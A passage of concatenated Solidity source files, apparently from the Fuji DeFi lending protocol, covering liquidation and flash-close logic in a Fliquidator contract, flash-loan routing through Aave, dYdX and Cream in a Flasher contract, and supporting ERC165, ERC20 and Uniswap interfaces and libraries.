* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12;
pragma experimental ABIEncoderV2;
import { IVault } from "./Vaults/IVault.sol";
import { IFujiAdmin } from "./IFujiAdmin.sol";
import { IFujiERC1155 } from "./FujiERC1155/IFujiERC1155.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { Flasher } from "./Flashloans/Flasher.sol";
import { FlashLoan } from "./Flashloans/LibFlashLoan.sol";
import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
import { Errors } from "./Libraries/Errors.sol";
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { LibUniversalERC20 } from "./Libraries/LibUniversalERC20.sol";
import {
IUniswapV2Router02
} from "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
import { ReentrancyGuard } from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
interface IVaultExt is IVault {
//Asset Struct
struct VaultAssets {
address collateralAsset;
address borrowAsset;
uint64 collateralID;
uint64 borrowID;
}
function vAssets() external view returns (VaultAssets memory);
}
interface IFujiERC1155Ext is IFujiERC1155 {
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
}
contract Fliquidator is Ownable, ReentrancyGuard {
using SafeMath for uint256;
using LibUniversalERC20 for IERC20;
struct Factor {
uint64 a;
uint64 b;
}
// Flash Close Fee Factor
Factor public flashCloseF;
IFujiAdmin private _fujiAdmin;
IUniswapV2Router02 public swapper;
// Log Liquidation
event Liquidate(
address indexed userAddr,
address liquidator,
address indexed asset,
uint256 amount
);
// Log FlashClose
event FlashClose(address indexed userAddr, address indexed asset, uint256 amount);
// Log Liquidation
event FlashLiquidate(address userAddr, address liquidator, address indexed asset, uint256 amount);
modifier isAuthorized() {
require(msg.sender == owner(), Errors.VL_NOT_AUTHORIZED);
_;
}
modifier onlyFlash() {
require(msg.sender == _fujiAdmin.getFlasher(), Errors.VL_NOT_AUTHORIZED);
_;
}
modifier isValidVault(address _vaultAddr) {
require(_fujiAdmin.validVault(_vaultAddr), "Invalid vault!");
_;
}
constructor() public {
// 1.013
flashCloseF.a = 1013;
flashCloseF.b = 1000;
}
receive() external payable {}
// FLiquidator Core Functions
/**
* @dev Liquidate an undercollaterized debt and get bonus (bonusL in Vault)
* @param _userAddrs: Address array of users whose position is liquidatable
* @param _vault: Address of the vault in where liquidation will occur
*/
function batchLiquidate(address[] calldata _userAddrs, address _vault)
external
nonReentrant
isValidVault(_vault)
{
// Update Balances at FujiERC1155
IVault(_vault).updateF1155Balances();
// Create Instance of FujiERC1155
IFujiERC1155Ext f1155 = IFujiERC1155Ext(IVault(_vault).fujiERC1155());
// Struct Instance to get Vault Asset IDs in f1155
IVaultExt.VaultAssets memory vAssets = IVaultExt(_vault).vAssets();
address[] memory formattedUserAddrs = new address[](2 * _userAddrs.length);
uint256[] memory formattedIds = new uint256[](2 * _userAddrs.length);
// Build the required Arrays to query balanceOfBatch from f1155
for (uint256 i = 0; i < _userAddrs.length; i++) {
formattedUserAddrs[2 * i] = _userAddrs[i];
formattedUserAddrs[2 * i + 1] = _userAddrs[i];
formattedIds[2 * i] = vAssets.collateralID;
formattedIds[2 * i + 1] = vAssets.borrowID;
}
// Get user Collateral and Debt Balances
uint256[] memory usrsBals = f1155.balanceOfBatch(formattedUserAddrs, formattedIds);
uint256 neededCollateral;
uint256 debtBalanceTotal;
for (uint256 i = 0; i < formattedUserAddrs.length; i += 2) {
// Compute Amount of Minimum Collateral Required including factors
neededCollateral = IVault(_vault).getNeededCollateralFor(usrsBals[i + 1], true);
// Check if User is liquidatable
if (usrsBals[i] < neededCollateral) {
// If true, add User debt balance to the total balance to be liquidated
debtBalanceTotal = debtBalanceTotal.add(usrsBals[i + 1]);
} else {
// Replace User that is not liquidatable by Zero Address
formattedUserAddrs[i] = address(0);
formattedUserAddrs[i + 1] = address(0);
}
}
// Check there is at least one user liquidatable
require(debtBalanceTotal > 0, Errors.VL_USER_NOT_LIQUIDATABLE);
// Check Liquidator Allowance
require(
IERC20(vAssets.borrowAsset).allowance(msg.sender, address(this)) >= debtBalanceTotal,
Errors.VL_MISSING_ERC20_ALLOWANCE
);
// Transfer borrowAsset funds from the Liquidator to Here
IERC20(vAssets.borrowAsset).transferFrom(msg.sender, address(this), debtBalanceTotal);
// Transfer Amount to Vault
IERC20(vAssets.borrowAsset).univTransfer(payable(_vault), debtBalanceTotal);
// TODO: Get => corresponding amount of BaseProtocol Debt and FujiDebt
// Repay BaseProtocol debt
IVault(_vault).payback(int256(debtBalanceTotal));
//TODO: Transfer corresponding Debt Amount to Fuji Treasury
// Compute the Liquidator Bonus bonusL
uint256 globalBonus = IVault(_vault).getLiquidationBonusFor(debtBalanceTotal, false);
// Compute how much collateral needs to be swapt
uint256 globalCollateralInPlay =
_getCollateralInPlay(vAssets.borrowAsset, debtBalanceTotal.add(globalBonus));
// Burn Collateral f1155 tokens for each liquidated user
_burnMultiLoop(formattedUserAddrs, usrsBals, IVault(_vault), f1155, vAssets);
// Withdraw collateral
IVault(_vault).withdraw(int256(globalCollateralInPlay));
// Swap Collateral
_swap(vAssets.borrowAsset, debtBalanceTotal.add(globalBonus), globalCollateralInPlay);
// Transfer to Liquidator the debtBalance + bonus
IERC20(vAssets.borrowAsset).univTransfer(msg.sender, debtBalanceTotal.add(globalBonus));
// Burn Debt f1155 tokens and Emit Liquidation Event for Each Liquidated User
for (uint256 i = 0; i < formattedUserAddrs.length; i += 2) {
if (formattedUserAddrs[i] != address(0)) {
f1155.burn(formattedUserAddrs[i], vAssets.borrowID, usrsBals[i + 1]);
emit Liquidate(formattedUserAddrs[i], msg.sender, vAssets.borrowAsset, usrsBals[i + 1]);
}
}
}
/**
* @dev Initiates a flashloan used to repay partially or fully the debt position of msg.sender
* @param _amount: Pass -1 to fully close debt position, otherwise Amount to be repaid with a flashloan
* @param _vault: The vault address where the debt position exist.
* @param _flashnum: integer identifier of flashloan provider
*/
function flashClose(
int256 _amount,
address _vault,
uint8 _flashnum
) external nonReentrant isValidVault(_vault) {
Flasher flasher = Flasher(payable(_fujiAdmin.getFlasher()));
// Update Balances at FujiERC1155
IVault(_vault).updateF1155Balances();
// Create Instance of FujiERC1155
IFujiERC1155Ext f1155 = IFujiERC1155Ext(IVault(_vault).fujiERC1155());
// Struct Instance to get Vault Asset IDs in f1155
IVaultExt.VaultAssets memory vAssets = IVaultExt(_vault).vAssets();
// Get user Balances
uint256 userCollateral = f1155.balanceOf(msg.sender, vAssets.collateralID);
uint256 userDebtBalance = f1155.balanceOf(msg.sender, vAssets.borrowID);
// Check Debt is > zero
require(userDebtBalance > 0, Errors.VL_NO_DEBT_TO_PAYBACK);
uint256 amount = _amount < 0 ? userDebtBalance : uint256(_amount);
uint256 neededCollateral = IVault(_vault).getNeededCollateralFor(amount, false);
require(userCollateral >= neededCollateral, Errors.VL_UNDERCOLLATERIZED_ERROR);
address[] memory userAddressArray = new address[](1);
userAddressArray[0] = msg.sender;
FlashLoan.Info memory info =
FlashLoan.Info({
callType: FlashLoan.CallType.Close,
asset: vAssets.borrowAsset,
amount: amount,
vault: _vault,
newProvider: address(0),
userAddrs: userAddressArray,
userBalances: new uint256[](0),
userliquidator: address(0),
fliquidator: address(this)
});
flasher.initiateFlashloan(info, _flashnum);
}
/**
* @dev Close user's debt position by using a flashloan
* @param _userAddr: user addr to be liquidated
* @param _vault: Vault address
* @param _amount: amount received by Flashloan
* @param _flashloanFee: amount extra charged by flashloan provider
* Emits a {FlashClose} event.
*/
function executeFlashClose(
address payable _userAddr,
address _vault,
uint256 _amount,
uint256 _flashloanFee
) external onlyFlash {
// Create Instance of FujiERC1155
IFujiERC1155 f1155 = IFujiERC1155(IVault(_vault).fujiERC1155());
// Struct Instance to get Vault Asset IDs in f1155
IVaultExt.VaultAssets memory vAssets = IVaultExt(_vault).vAssets();
// Get user Collateral and Debt Balances
uint256 userCollateral = f1155.balanceOf(_userAddr, vAssets.collateralID);
uint256 userDebtBalance = f1155.balanceOf(_userAddr, vAssets.borrowID);
// Get user Collateral + Flash Close Fee to close posisition, for _amount passed
uint256 userCollateralInPlay =
IVault(_vault)
.getNeededCollateralFor(_amount.add(_flashloanFee), false)
.mul(flashCloseF.a)
.div(flashCloseF.b);
// TODO: Get => corresponding amount of BaseProtocol Debt and FujiDebt
// Repay BaseProtocol debt
IVault(_vault).payback(int256(_amount));
//TODO: Transfer corresponding Debt Amount to Fuji Treasury
// Full close
if (_amount == userDebtBalance) {
f1155.burn(_userAddr, vAssets.collateralID, userCollateral);
// Withdraw Full collateral
IVault(_vault).withdraw(int256(userCollateral));
// Send unUsed Collateral to User
IERC20(vAssets.collateralAsset).univTransfer(
_userAddr,
userCollateral.sub(userCollateralInPlay)
);
} else {
f1155.burn(_userAddr, vAssets.collateralID, userCollateralInPlay);
// Withdraw Collateral in play Only
IVault(_vault).withdraw(int256(userCollateralInPlay));
}
// Swap Collateral for underlying to repay Flashloan
uint256 remaining =
_swap(vAssets.borrowAsset, _amount.add(_flashloanFee), userCollateralInPlay);
// Send FlashClose Fee to FujiTreasury
IERC20(vAssets.collateralAsset).univTransfer(_fujiAdmin.getTreasury(), remaining);
// Send flasher the underlying to repay Flashloan
IERC20(vAssets.borrowAsset).univTransfer(
payable(_fujiAdmin.getFlasher()),
_amount.add(_flashloanFee)
);
// Burn Debt f1155 tokens
f1155.burn(_userAddr, vAssets.borrowID, _amount);
emit FlashClose(_userAddr, vAssets.borrowAsset, userDebtBalance);
}
/**
* @dev Initiates a flashloan to liquidate array of undercollaterized debt positions,
* gets bonus (bonusFlashL in Vault)
* @param _userAddrs: Array of Address whose position is liquidatable
* @param _vault: The vault address where the debt position exist.
* @param _flashnum: integer identifier of flashloan provider
*/
function flashBatchLiquidate(
address[] calldata _userAddrs,
address _vault,
uint8 _flashnum
) external isValidVault(_vault) nonReentrant {
// Update Balances at FujiERC1155
IVault(_vault).updateF1155Balances();
// Create Instance of FujiERC1155
IFujiERC1155Ext f1155 = IFujiERC1155Ext(IVault(_vault).fujiERC1155());
// Struct Instance to get Vault Asset IDs in f1155
IVaultExt.VaultAssets memory vAssets = IVaultExt(_vault).vAssets();
address[] memory formattedUserAddrs = new address[](2 * _userAddrs.length);
uint256[] memory formattedIds = new uint256[](2 * _userAddrs.length);
// Build the required Arrays to query balanceOfBatch from f1155
for (uint256 i = 0; i < _userAddrs.length; i++) {
formattedUserAddrs[2 * i] = _userAddrs[i];
formattedUserAddrs[2 * i + 1] = _userAddrs[i];
formattedIds[2 * i] = vAssets.collateralID;
formattedIds[2 * i + 1] = vAssets.borrowID;
}
// Get user Collateral and Debt Balances
uint256[] memory usrsBals = f1155.balanceOfBatch(formattedUserAddrs, formattedIds);
uint256 neededCollateral;
uint256 debtBalanceTotal;
for (uint256 i = 0; i < formattedUserAddrs.length; i += 2) {
// Compute Amount of Minimum Collateral Required including factors
neededCollateral = IVault(_vault).getNeededCollateralFor(usrsBals[i + 1], true);
// Check if User is liquidatable
if (usrsBals[i] < neededCollateral) {
// If true, add User debt balance to the total balance to be liquidated
debtBalanceTotal = debtBalanceTotal.add(usrsBals[i + 1]);
} else {
// Replace User that is not liquidatable by Zero Address
formattedUserAddrs[i] = address(0);
formattedUserAddrs[i + 1] = address(0);
}
}
// Check there is at least one user liquidatable
require(debtBalanceTotal > 0, Errors.VL_USER_NOT_LIQUIDATABLE);
Flasher flasher = Flasher(payable(_fujiAdmin.getFlasher()));
FlashLoan.Info memory info =
FlashLoan.Info({
callType: FlashLoan.CallType.BatchLiquidate,
asset: vAssets.borrowAsset,
amount: debtBalanceTotal,
vault: _vault,
newProvider: address(0),
userAddrs: formattedUserAddrs,
userBalances: usrsBals,
userliquidator: msg.sender,
fliquidator: address(this)
});
flasher.initiateFlashloan(info, _flashnum);
}
/**
* @dev Liquidate a debt position by using a flashloan
* @param _userAddrs: array **See formattedUserAddrs construction in 'function flashBatchLiquidate'
* @param _usrsBals: array **See construction in 'function flashBatchLiquidate'
* @param _liquidatorAddr: liquidator address
* @param _vault: Vault address
* @param _amount: amount of debt to be repaid
* @param _flashloanFee: amount extra charged by flashloan provider
* Emits a {FlashLiquidate} event.
*/
function executeFlashBatchLiquidation(
address[] calldata _userAddrs,
uint256[] calldata _usrsBals,
address _liquidatorAddr,
address _vault,
uint256 _amount,
uint256 _flashloanFee
) external onlyFlash {
// Create Instance of FujiERC1155
IFujiERC1155 f1155 = IFujiERC1155(IVault(_vault).fujiERC1155());
// Struct Instance to get Vault Asset IDs in f1155
IVaultExt.VaultAssets memory vAssets = IVaultExt(_vault).vAssets();
// TODO: Get => corresponding amount of BaseProtocol Debt and FujiDebt
// TODO: Transfer corresponding Debt Amount to Fuji Treasury
// Repay BaseProtocol debt to release collateral
IVault(_vault).payback(int256(_amount));
// Compute the Liquidator Bonus bonusFlashL
uint256 globalBonus = IVault(_vault).getLiquidationBonusFor(_amount, true);
// Compute how much collateral needs to be swapt for all liquidated Users
uint256 globalCollateralInPlay =
_getCollateralInPlay(vAssets.borrowAsset, _amount.add(_flashloanFee).add(globalBonus));
// Burn Collateral f1155 tokens for each liquidated user
_burnMultiLoop(_userAddrs, _usrsBals, IVault(_vault), f1155, vAssets);
// Withdraw collateral
IVault(_vault).withdraw(int256(globalCollateralInPlay));
_swap(vAssets.borrowAsset, _amount.add(_flashloanFee).add(globalBonus), globalCollateralInPlay);
// Send flasher the underlying to repay Flashloan
IERC20(vAssets.borrowAsset).univTransfer(
payable(_fujiAdmin.getFlasher()),
_amount.add(_flashloanFee)
);
// Transfer Bonus bonusFlashL to liquidator, minus FlashloanFee convenience
IERC20(vAssets.borrowAsset).univTransfer(
payable(_liquidatorAddr),
globalBonus.sub(_flashloanFee)
);
// Burn Debt f1155 tokens and Emit Liquidation Event for Each Liquidated User
for (uint256 i = 0; i < _userAddrs.length; i += 2) {
if (_userAddrs[i] != address(0)) {
f1155.burn(_userAddrs[i], vAssets.borrowID, _usrsBals[i + 1]);
emit FlashLiquidate(_userAddrs[i], _liquidatorAddr, vAssets.borrowAsset, _usrsBals[i + 1]);
}
}
}
/**
* @dev Swap an amount of underlying
* @param _borrowAsset: Address of vault borrowAsset
* @param _amountToReceive: amount of underlying to receive
* @param _collateralAmount: collateral Amount sent for swap
*/
function _swap(
address _borrowAsset,
uint256 _amountToReceive,
uint256 _collateralAmount
) internal returns (uint256) {
// Swap Collateral Asset to Borrow Asset
address[] memory path = new address[](2);
path[0] = swapper.WETH();
path[1] = _borrowAsset;
uint256[] memory swapperAmounts =
swapper.swapETHForExactTokens{ value: _collateralAmount }(
_amountToReceive,
path,
address(this),
// solhint-disable-next-line
block.timestamp
);
return _collateralAmount.sub(swapperAmounts[0]);
}
/**
* @dev Get exact amount of collateral to be swapt
* @param _borrowAsset: Address of vault borrowAsset
* @param _amountToReceive: amount of underlying to receive
*/
function _getCollateralInPlay(address _borrowAsset, uint256 _amountToReceive)
internal
view
returns (uint256)
{
address[] memory path = new address[](2);
path[0] = swapper.WETH();
path[1] = _borrowAsset;
uint256[] memory amounts = swapper.getAmountsIn(_amountToReceive, path);
return amounts[0];
}
/**
* @dev Abstracted function to perform MultBatch Burn of Collateral in Batch Liquidation
* checking bonus paid to liquidator by each
* See "function executeFlashBatchLiquidation"
*/
function _burnMultiLoop(
address[] memory _userAddrs,
uint256[] memory _usrsBals,
IVault _vault,
IFujiERC1155 _f1155,
IVaultExt.VaultAssets memory _vAssets
) internal {
uint256 bonusPerUser;
uint256 collateralInPlayPerUser;
for (uint256 i = 0; i < _userAddrs.length; i += 2) {
if (_userAddrs[i] != address(0)) {
bonusPerUser = _vault.getLiquidationBonusFor(_usrsBals[i + 1], true);
collateralInPlayPerUser = _getCollateralInPlay(
_vAssets.borrowAsset,
_usrsBals[i + 1].add(bonusPerUser)
);
_f1155.burn(_userAddrs[i], _vAssets.collateralID, collateralInPlayPerUser);
}
}
}
// Administrative functions
/**
* @dev Set Factors "a" and "b" for a Struct Factor flashcloseF
* For flashCloseF; should be > 1, a/b
* @param _newFactorA: A number
* @param _newFactorB: A number
*/
function setFlashCloseFee(uint64 _newFactorA, uint64 _newFactorB) external isAuthorized {
flashCloseF.a = _newFactorA;
flashCloseF.b = _newFactorB;
}
/**
* @dev Sets the fujiAdmin Address
* @param _newFujiAdmin: FujiAdmin Contract Address
*/
function setFujiAdmin(address _newFujiAdmin) external isAuthorized {
_fujiAdmin = IFujiAdmin(_newFujiAdmin);
}
/**
* @dev Changes the Swapper contract address
* @param _newSwapper: address of new swapper contract
*/
function setSwapper(address _newSwapper) external isAuthorized {
swapper = IUniswapV2Router02(_newSwapper);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12 <0.8.0;
pragma experimental ABIEncoderV2;
import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { UniERC20 } from "../Libraries/LibUniERC20.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IFujiAdmin } from "../IFujiAdmin.sol";
import { Errors } from "../Libraries/Errors.sol";
import { ILendingPool, IFlashLoanReceiver } from "./AaveFlashLoans.sol";
import { Actions, Account, DyDxFlashloanBase, ICallee, ISoloMargin } from "./DyDxFlashLoans.sol";
import { ICTokenFlashloan, ICFlashloanReceiver } from "./CreamFlashLoans.sol";
import { FlashLoan } from "./LibFlashLoan.sol";
import { IVault } from "../Vaults/IVault.sol";
interface IFliquidator {
function executeFlashClose(
address _userAddr,
address _vault,
uint256 _amount,
uint256 _flashloanfee
) external;
function executeFlashBatchLiquidation(
address[] calldata _userAddrs,
uint256[] calldata _usrsBals,
address _liquidatorAddr,
address _vault,
uint256 _amount,
uint256 _flashloanFee
) external;
}
interface IFujiMappings {
function addressMapping(address) external view returns (address);
}
contract Flasher is DyDxFlashloanBase, IFlashLoanReceiver, ICFlashloanReceiver, ICallee, Ownable {
using SafeMath for uint256;
using UniERC20 for IERC20;
IFujiAdmin private _fujiAdmin;
address private immutable _aaveLendingPool = 0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9;
address private immutable _dydxSoloMargin = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e;
IFujiMappings private immutable _crMappings =
IFujiMappings(0x03BD587Fe413D59A20F32Fc75f31bDE1dD1CD6c9);
receive() external payable {}
modifier isAuthorized() {
require(
msg.sender == _fujiAdmin.getController() ||
msg.sender == _fujiAdmin.getFliquidator() ||
msg.sender == owner(),
Errors.VL_NOT_AUTHORIZED
);
_;
}
/**
* @dev Sets the fujiAdmin Address
* @param _newFujiAdmin: FujiAdmin Contract Address
*/
function setFujiAdmin(address _newFujiAdmin) public onlyOwner {
_fujiAdmin = IFujiAdmin(_newFujiAdmin);
}
/**
* @dev Routing Function for Flashloan Provider
* @param info: struct information for flashLoan
* @param _flashnum: integer identifier of flashloan provider
*/
function initiateFlashloan(FlashLoan.Info calldata info, uint8 _flashnum) external isAuthorized {
if (_flashnum == 0) {
_initiateAaveFlashLoan(info);
} else if (_flashnum == 1) {
_initiateDyDxFlashLoan(info);
} else if (_flashnum == 2) {
_initiateCreamFlashLoan(info);
}
}
// ===================== DyDx FlashLoan ===================================
/**
* @dev Initiates a DyDx flashloan.
* @param info: data to be passed between functions executing flashloan logic
*/
function _initiateDyDxFlashLoan(FlashLoan.Info calldata info) internal {
ISoloMargin solo = ISoloMargin(_dydxSoloMargin);
// Get marketId from token address
uint256 marketId = _getMarketIdFromTokenAddress(solo, info.asset);
// 1. Withdraw $
// 2. Call callFunction(...)
// 3. Deposit back $
Actions.ActionArgs[] memory operations = new Actions.ActionArgs[](3);
operations[0] = _getWithdrawAction(marketId, info.amount);
// Encode FlashLoan.Info for callFunction
operations[1] = _getCallAction(abi.encode(info));
// add fee of 2 wei
operations[2] = _getDepositAction(marketId, info.amount.add(2));
Account.Info[] memory accountInfos = new Account.Info[](1);
accountInfos[0] = _getAccountInfo(address(this));
solo.operate(accountInfos, operations);
}
/**
* @dev Executes DyDx Flashloan, this operation is required
* and called by Solo when sending loaned amount
* @param sender: Not used
* @param account: Not used
*/
function callFunction(
address sender,
Account.Info calldata account,
bytes calldata data
) external override {
require(msg.sender == _dydxSoloMargin && sender == address(this), Errors.VL_NOT_AUTHORIZED);
account;
FlashLoan.Info memory info = abi.decode(data, (FlashLoan.Info));
//Estimate flashloan payback + premium fee of 2 wei,
uint256 amountOwing = info.amount.add(2);
// Transfer to Vault the flashloan Amount
IERC20(info.asset).uniTransfer(payable(info.vault), info.amount);
if (info.callType == FlashLoan.CallType.Switch) {
IVault(info.vault).executeSwitch(info.newProvider, info.amount, 2);
} else if (info.callType == FlashLoan.CallType.Close) {
IFliquidator(info.fliquidator).executeFlashClose(
info.userAddrs[0],
info.vault,
info.amount,
2
);
} else {
IFliquidator(info.fliquidator).executeFlashBatchLiquidation(
info.userAddrs,
info.userBalances,
info.userliquidator,
info.vault,
info.amount,
2
);
}
//Approve DYDXSolo to spend to repay flashloan
IERC20(info.asset).approve(_dydxSoloMargin, amountOwing);
}
// ===================== Aave FlashLoan ===================================
/**
* @dev Initiates an Aave flashloan.
* @param info: data to be passed between functions executing flashloan logic
*/
function _initiateAaveFlashLoan(FlashLoan.Info calldata info) internal {
//Initialize Instance of Aave Lending Pool
ILendingPool aaveLp = ILendingPool(_aaveLendingPool);
//Passing arguments to construct Aave flashloan -limited to 1 asset type for now.
address receiverAddress = address(this);
address[] memory assets = new address[](1);
assets[0] = address(info.asset);
uint256[] memory amounts = new uint256[](1);
amounts[0] = info.amount;
// 0 = no debt, 1 = stable, 2 = variable
uint256[] memory modes = new uint256[](1);
//modes[0] = 0;
//address onBehalfOf = address(this);
//bytes memory params = abi.encode(info);
//uint16 referralCode = 0;
//Aave Flashloan initiated.
aaveLp.flashLoan(receiverAddress, assets, amounts, modes, address(this), abi.encode(info), 0);
}
/**
* @dev Executes Aave Flashloan, this operation is required
* and called by Aaveflashloan when sending loaned amount
*/
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external override returns (bool) {
require(msg.sender == _aaveLendingPool && initiator == address(this), Errors.VL_NOT_AUTHORIZED);
FlashLoan.Info memory info = abi.decode(params, (FlashLoan.Info));
//Estimate flashloan payback + premium fee,
uint256 amountOwing = amounts[0].add(premiums[0]);
// Transfer to the vault ERC20
IERC20(assets[0]).uniTransfer(payable(info.vault), amounts[0]);
if (info.callType == FlashLoan.CallType.Switch) {
IVault(info.vault).executeSwitch(info.newProvider, amounts[0], premiums[0]);
} else if (info.callType == FlashLoan.CallType.Close) {
IFliquidator(info.fliquidator).executeFlashClose(
info.userAddrs[0],
info.vault,
amounts[0],
premiums[0]
);
} else {
IFliquidator(info.fliquidator).executeFlashBatchLiquidation(
info.userAddrs,
info.userBalances,
info.userliquidator,
info.vault,
amounts[0],
premiums[0]
);
}
//Approve aaveLP to spend to repay flashloan
IERC20(assets[0]).uniApprove(payable(_aaveLendingPool), amountOwing);
return true;
}
// ===================== CreamFinance FlashLoan ===================================
/**
* @dev Initiates an CreamFinance flashloan.
* @param info: data to be passed between functions executing flashloan logic
*/
function _initiateCreamFlashLoan(FlashLoan.Info calldata info) internal {
// Get crToken Address for Flashloan Call
address crToken = _crMappings.addressMapping(info.asset);
// Prepara data for flashloan execution
bytes memory params = abi.encode(info);
// Initialize Instance of Cream crLendingContract
ICTokenFlashloan(crToken).flashLoan(address(this), info.amount, params);
}
/**
* @dev Executes CreamFinance Flashloan, this operation is required
* and called by CreamFinanceflashloan when sending loaned amount
*/
function executeOperation(
address sender,
address underlying,
uint256 amount,
uint256 fee,
bytes calldata params
) external override {
// Check Msg. Sender is crToken Lending Contract
address crToken = _crMappings.addressMapping(underlying);
require(msg.sender == crToken && address(this) == sender, Errors.VL_NOT_AUTHORIZED);
require(IERC20(underlying).balanceOf(address(this)) >= amount, Errors.VL_FLASHLOAN_FAILED);
FlashLoan.Info memory info = abi.decode(params, (FlashLoan.Info));
// Estimate flashloan payback + premium fee,
uint256 amountOwing = amount.add(fee);
// Transfer to the vault ERC20
IERC20(underlying).uniTransfer(payable(info.vault), amount);
// Do task according to CallType
if (info.callType == FlashLoan.CallType.Switch) {
IVault(info.vault).executeSwitch(info.newProvider, amount, fee);
} else if (info.callType == FlashLoan.CallType.Close) {
IFliquidator(info.fliquidator).executeFlashClose(info.userAddrs[0], info.vault, amount, fee);
} else {
IFliquidator(info.fliquidator).executeFlashBatchLiquidation(
info.userAddrs,
info.userBalances,
info.userliquidator,
info.vault,
amount,
fee
);
}
// Transfer flashloan + fee back to crToken Lending Contract
IERC20(underlying).uniTransfer(payable(crToken), amountOwing);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.7.5;
library FlashLoan {
/**
* @dev Used to determine which vault's function to call post-flashloan:
* - Switch for executeSwitch(...)
* - Close for executeFlashClose(...)
* - Liquidate for executeFlashLiquidation(...)
* - BatchLiquidate for executeFlashBatchLiquidation(...)
*/
enum CallType { Switch, Close, BatchLiquidate }
/**
* @dev Struct of params to be passed between functions executing flashloan logic
* @param asset: Address of asset to be borrowed with flashloan
* @param amount: Amount of asset to be borrowed with flashloan
* @param vault: Vault's address on which the flashloan logic to be executed
* @param newProvider: New provider's address. Used when callType is Switch
* @param userAddrs: User's address array Used when callType is BatchLiquidate
* @param userBals: Array of user's balances, Used when callType is BatchLiquidate
* @param userliquidator: The user's address who is performing liquidation. Used when callType is Liquidate
* @param fliquidator: Fujis Liquidator's address.
*/
struct Info {
CallType callType;
address asset;
uint256 amount;
address vault;
address newProvider;
address[] userAddrs;
uint256[] userBalances;
address userliquidator;
address fliquidator;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
library LibUniversalERC20 {
using SafeERC20 for IERC20;
IERC20 private constant _ETH_ADDRESS = IERC20(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
IERC20 private constant _ZERO_ADDRESS = IERC20(0);
function isETH(IERC20 token) internal pure returns (bool) {
return (token == _ZERO_ADDRESS || token == _ETH_ADDRESS);
}
function univBalanceOf(IERC20 token, address account) internal view returns (uint256) {
if (isETH(token)) {
return account.balance;
} else {
return token.balanceOf(account);
}
}
function univTransfer(
IERC20 token,
address payable to,
uint256 amount
) internal {
if (amount > 0) {
if (isETH(token)) {
(bool sent, ) = to.call{ value: amount }("");
require(sent, "Failed to send Ether");
} else {
token.safeTransfer(to, amount);
}
}
}
function univApprove(
IERC20 token,
address to,
uint256 amount
) internal {
require(!isETH(token), "Approve called on ETH");
if (amount == 0) {
token.safeApprove(to, 0);
} else {
uint256 allowance = token.allowance(address(this), to);
if (allowance < amount) {
if (allowance > 0) {
token.safeApprove(to, 0);
}
token.safeApprove(to, amount);
}
}
}
}
pragma solidity >=0.6.2;
import './IUniswapV2Router01.sol';
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.7.5;
interface IFlashLoanReceiver {
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external returns (bool);
}
interface ILendingPool {
function flashLoan(
address receiverAddress,
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata modes,
address onBehalfOf,
bytes calldata params,
uint16 referralCode
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.7.5;
pragma experimental ABIEncoderV2;
library Account {
